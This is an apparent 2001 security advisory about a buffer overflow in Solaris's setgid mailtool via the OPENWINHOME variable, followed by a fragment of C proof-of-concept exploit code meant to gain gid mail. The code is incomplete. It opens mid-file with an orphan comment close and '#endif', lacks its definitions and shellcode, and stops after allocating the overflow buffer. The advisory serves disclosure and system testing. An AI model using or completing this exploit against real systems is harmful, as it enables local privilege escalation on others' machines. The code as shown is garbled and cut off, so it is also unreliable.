Solaris Mailtool Buffer Overflow Exploit Code (OPENWINHOME)
2 Jul. 2001
Summary
The mailtool program is installed setgid mail by default in Solaris. A buffer overflow vulnerability exists in the OPENWINHOME environment variable, and thus by specifying a long environment buffer containing machine executable code, it is possible for local users to execute arbitrary commands as gid mail.
The following is an exploit code that can be used to test your system for the mentioned vulnerability.
Proof of concept code, exploiting the recently discovered buffer overflow
in Solaris 8 /usr/openwin/bin/mailtool, yielding GID mail
(http://www.securiteam.com/unixfocus/5FP040A4KG.html).
Should work with both x86 and Sparc versions, thx to compilation directives.
As a matter of course, the defaults buffersize and offset may need to be
tweaked a bit.
Usage : ./mailt00l [buffersize] [offset]
Shouts to Trick for various mentoring...
mail : kernel51@libertysurf.fr
www.cyberarmy.com
www.g0tr00t.net
*/
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
int main(int argc, char *argv[])
{
char *ex[2];
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
printf("Archi: %s\n", (char *)ARCH);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
